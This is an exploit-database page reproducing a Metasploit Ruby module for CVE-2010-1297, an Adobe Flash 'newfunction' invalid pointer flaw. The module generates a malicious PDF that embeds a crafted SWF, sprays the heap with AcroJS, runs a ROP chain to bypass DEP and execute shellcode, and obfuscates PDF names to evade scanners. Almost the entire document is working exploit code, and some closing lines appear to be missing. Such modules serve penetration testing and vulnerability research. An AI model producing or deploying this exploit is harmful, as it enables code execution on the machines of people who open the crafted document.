发布 2010-09-25 漏洞条目

Adobe Flash Player – ‘newfunction’ Invalid Pointer Use (Metasploit) (2)

Exploit Source

# $Id: adobe_flashplayer_newfunction.rb 10477 2010-09-25 11:59:02Z mc $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

require 'zlib'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})

super(update_info(info,

'Name' => 'Adobe Flash Player "newfunction" Invalid Pointer Use',

'Description' => %q{

This module exploits a vulnerability in the DoABC tag handling within

versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat are also

vulnerable, as are any other applications that may embed Flash player.

Arbitrary code execution is achieved by embedding a specially crafted Flash

movie into a PDF document. An AcroJS heap spray is used in order to ensure

that the memory used by the invalid pointer issue is controlled.

NOTE: This module uses a similar DEP bypass method to that used within the

adobe_libtiff module. This method is unlikely to work across various

Windows versions due a the hardcoded syscall number.

'License' => MSF_LICENSE,

'Author' =>

[

'Unknown', # Found being openly exploited

'jduck' # Metasploit version

'Version' => '$Revision: 10477 $',

'References' =>

[

['CVE', '2010-1297'],

['OSVDB', '65141'],

['BID', '40586'],

['URL', 'http://www.adobe.com/support/security/advisories/apsa10-01.html'],

# For SWF->PDF embedding

['URL', 'http://feliam.wordpress.com/2010/02/11/flash-on-a-pdf-with-minipdf-py/']

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'InitialAutoRunScript' => 'migrate -f',

'DisablePayloadHandler' => 'true',

'Payload' =>

{

'Space' => 1000,

'BadChars' => "\x00",

'DisableNops' => true

'Platform' => 'win',

'Targets' =>

[

# Tested OK via Adobe Reader 9.3.0 on Windows XP SP3 (uses flash 10.0.42.34) -jjd

# Tested OK via Adobe Reader 9.3.1 on Windows XP SP3 (uses flash 10.0.45.2) -jjd

# Tested OK via Adobe Reader 9.3.2 on Windows XP SP3 (uses flash 10.0.45.2) -jjd

[ 'Automatic', { }],

'DisclosureDate' => 'Jun 04 2010',

'DefaultTarget' => 0))

register_options(

[

OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),

], self.class)

end

def exploit

swf_data = make_swf()

js_data = make_js(payload.encoded)

# Create the pdf

pdf = make_pdf(swf_data, js_data)

print_status("Creating '#{datastore['FILENAME']}' file...")

file_create(pdf)

end

def make_swf

# load the static swf file

path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2010-1297.swf" )

fd = File.open( path, "rb" )

swf_data = fd.read(fd.stat.size)

fd.close

swf_data

end

def make_js(encoded_payload)

# The following executes a ret2lib using BIB.dll

# The effect is to bypass DEP and execute the shellcode in an indirect way

stack_data = [

0xc0c0c0c,

0x7004919, # pop ecx / pop ecx / mov [eax+0xc0],1 / pop esi / pop ebx / ret

0xcccccccc,

0x70048ef, # xchg eax,esp / ret

0x700156f, # mov eax,[ecx+0x34] / push [ecx+0x24] / call [eax+8]

0xcccccccc,

0x7009084, # ret

0x7009033, # ret 0x18

0x7009084, # ret

0xc0c0c0c,

0x7009084, # ret

0x7001599, # pop ebp / ret

0x10124,

0x70072f7, # pop eax / ret

0x10104,

0x70015bb, # pop ecx / ret

0x1000,

0x700154d, # mov [eax], ecx / ret

0x70015bb, # pop ecx / ret

0x7ffe0300, # -- location of KiFastSystemCall

0x7007fb2, # mov eax, [ecx] / ret

0x70015bb, # pop ecx / ret

0x10011,

0x700a8ac, # mov [ecx], eax / xor eax,eax / ret

0x70015bb, # pop ecx / ret

0x10100,

0x700a8ac, # mov [ecx], eax / xor eax,eax / ret

0x70072f7, # pop eax / ret

0x10011,

0x70052e2, # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)

0x7005c54, # pop esi / add esp,0x14 / ret

0xffffffff,

0x10100,

0x0,

0x10104,

0x1000,

0x40,

# The next bit effectively copies data from the interleaved stack to the memory

# pointed to by eax

# The data copied is:

# \x5a\x90\x54\x90\x5a\xeb\x15\x58\x8b\x1a\x89\x18\x83\xc0\x04\x83

# \xc2\x04\x81\xfb\x0c\x0c\x0c\x0c\x75\xee\xeb\x05\xe8\xe6\xff\xff

# \xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\x90

0x700d731, # mov eax, [ebp-0x24] / ret

0x70015bb, # pop ecx / ret

0x9054905a,

0x700154d, # mov [eax], ecx / ret

0x700a722, # add eax, 4 / ret

0x70015bb, # pop ecx / ret

0x5815eb5a,

0x700154d, # mov [eax], ecx / ret

0x700a722, # add eax, 4 / ret

0x70015bb, # pop ecx / ret

0x18891a8b,

0x700154d, # mov [eax], ecx / ret

0x700a722, # add eax, 4 / ret

0x70015bb, # pop ecx / ret

0x8304c083,

0x700154d, # mov [eax], ecx / ret

0x700a722, # add eax, 4 / ret

0x70015bb, # pop ecx / ret

0xfb8104c2,

0x700154d, # mov [eax], ecx / ret

0x700a722, # add eax, 4 / ret

0x70015bb, # pop ecx / ret

0xc0c0c0c,

0x700154d, # mov [eax], ecx / ret

0x700a722, # add eax, 4 / ret

0x70015bb, # pop ecx / ret

0x5ebee75,

0x700154d, # mov [eax], ecx / ret

0x700a722, # add eax, 4 / ret

0x70015bb, # pop ecx / ret

0xffffe6e8,

0x700154d, # mov [eax], ecx / ret

0x700a722, # add eax, 4 / ret

0x70015bb, # pop ecx / ret

0x909090ff,

0x700154d, # mov [eax], ecx / ret

0x700a722, # add eax, 4 / ret

0x70015bb, # pop ecx / ret

0x90909090,

0x700154d, # mov [eax], ecx / ret

0x700a722, # add eax, 4 / ret

0x70015bb, # pop ecx / ret

0x90909090,

0x700154d, # mov [eax], ecx / ret

0x700a722, # add eax, 4 / ret

0x70015bb, # pop ecx / ret

0x90ffffff,

0x700154d, # mov [eax], ecx / ret

0x700d731, # mov eax, [ebp-0x24] / ret

0x700112f # call eax -- (execute stub to transition to full shellcode)

].pack('V*')

var_unescape = rand_text_alpha(rand(100) + 1)

var_shellcode = rand_text_alpha(rand(100) + 1)

var_start = rand_text_alpha(rand(100) + 1)

var_s = 0x10000

var_c = rand_text_alpha(rand(100) + 1)

var_b = rand_text_alpha(rand(100) + 1)

var_d = rand_text_alpha(rand(100) + 1)

var_3 = rand_text_alpha(rand(100) + 1)

var_i = rand_text_alpha(rand(100) + 1)

var_4 = rand_text_alpha(rand(100) + 1)

payload_buf = ''

payload_buf << stack_data

payload_buf << encoded_payload

escaped_payload = Rex::Text.to_unescape(payload_buf)

js = %Q|

var #{var_unescape} = unescape;

var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );

var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );

while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};

#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);

#{var_b} += #{var_shellcode};

#{var_b} += #{var_c};

#{var_d} = #{var_b}.substring(0, #{var_s}/2);

while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};

#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);

var #{var_4} = new Array();

for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";

end

def RandomNonASCIIString(count)

result = ""

count.times do

result << (rand(128) + 128).chr

end

result

end

def ioDef(id)

"%d 0 obj\n" % id

end

def ioRef(id)

"%d 0 R" % id

end

#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/

def nObfu(str)

result = ""

str.scan(/./u) do |c|

if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'

result << "#%x" % c.unpack("C*")[0]

else

result << c

end

result

end

def ASCIIHexWhitespaceEncode(str)

result = ""

whitespace = ""

str.each_byte do |b|

result << whitespace << "%02x" % b

whitespace = " " * (rand(3) + 1)

end

result << ">"

end

def make_pdf(swf, js)

swf_name = rand_text_alpha(8 + rand(8)) + ".swf"

xref = []

eol = "\n"

endobj = "endobj" << eol

# Randomize PDF version?

pdf = "%PDF-1.5" << eol

#pdf << "%" << RandomNonASCIIString(4) << eol

# catalog

xref << pdf.length

pdf << ioDef(1) << nObfu("<</Type/Catalog")

pdf << nObfu("/Pages ") << ioRef(3)

pdf << nObfu("/OpenAction ") << ioRef(5)

pdf << nObfu(">>")

pdf << eol << endobj

# pages array

xref << pdf.length

pdf << ioDef(3) << nObfu("<</Type/Pages/Count 1/Kids [") << ioRef(4) << nObfu("]>>") << eol << endobj

# page 1

xref << pdf.length

pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3)

pdf << nObfu("/Annots [") << ioRef(7) << nObfu("] ")

pdf << nObfu(">>")

pdf << eol << endobj

# js action

xref << pdf.length

pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << eol << endobj

# js stream

xref << pdf.length

compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))

pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol

pdf << "stream" << eol

pdf << compressed << eol

pdf << "endstream" << eol

pdf << endobj

# swf annotation object

xref << pdf.length

pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype/RichMedia")

pdf << nObfu("/Rect [20 20 187 69] ")

pdf << nObfu("/RichMediaSettings ") << ioRef(8)

pdf << nObfu("/RichMediaContent ") << ioRef(9)

pdf << nObfu("/NM (") << swf_name << nObfu(")")

pdf << nObfu(">>")

pdf << eol << endobj

# rich media settings

xref << pdf.length

pdf << ioDef(8)

pdf << nObfu("<</Type/RichMediaSettings/Subtype/Flash")

pdf << nObfu("/Activation ") << ioRef(10)

pdf << nObfu("/Deactivation ") << ioRef(11)

pdf << nObfu(">>")

pdf << eol << endobj

# rich media content

xref << pdf.length

pdf << ioDef(9)

pdf << nObfu("<</Type/RichMediaContent")

pdf << nObfu("/Assets ") << ioRef(12)

pdf << nObfu("/Configurations [") << ioRef(14) << "]"

pdf << nObfu(">>")

pdf << eol << endobj

# rich media activation / deactivation

xref << pdf.length

pdf << ioDef(10)

pdf << nObfu("<</Type/RichMediaActivation/Condition/PO>>")

pdf << eol << endobj

xref << pdf.length

pdf << ioDef(11)

pdf << nObfu("<</Type/RichMediaDeactivation/Condition/XD>>")

pdf << eol << endobj

# rich media assets

xref << pdf.length

pdf << ioDef(12)

pdf << nObfu("<</Names [(#{swf_name}) ") << ioRef(13) << nObfu("]>>")

pdf << eol << endobj

# swf embeded file ref

xref << pdf.length

pdf << ioDef(13)

pdf << nObfu("<</Type/Filespec /EF <</F ") << ioRef(16) << nObfu(">> /F(#{swf_name})>>")

pdf << eol << endobj

# rich media configuration

xref << pdf.length

pdf << ioDef(14)

pdf << nObfu("<</Type/RichMediaConfiguration/Subtype/Flash")

pdf << nObfu("/Instances [") << ioRef(15) << nObfu("]>>")

pdf << eol << endobj

# rich media isntance

xref << pdf.length

pdf << ioDef(15)

pdf << nObfu("<</Type/RichMediaInstance/Subtype/Flash")

pdf << nObfu("/Asset ") << ioRef(13)

pdf << nObfu(">>")

pdf << eol << endobj

# swf stream

# NOTE: This data is already compressed, no need to compress it again...

xref << pdf.length

pdf << ioDef(16) << nObfu("<</Type/EmbeddedFile/Length %s>>" % swf.length) << eol

pdf << "stream" << eol

pdf << swf << eol

pdf << "endstream" << eol

pdf << endobj

# trailing stuff

xrefPosition = pdf.length

pdf << "xref" << eol

pdf << "0 %d" % (xref.length + 1) << eol

pdf << "0000000000 65535 f" << eol

xref.each do |index|

pdf << "%010d 00000 n" % index << eol

end

pdf << "trailer" << eol

pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol

pdf << "startxref" << eol

pdf << xrefPosition.to_s() << eol

pdf << "%%EOF" << eol

pdf

end

作者: Metasploit
日期: 2010-09-25
类别: local
平台: windows

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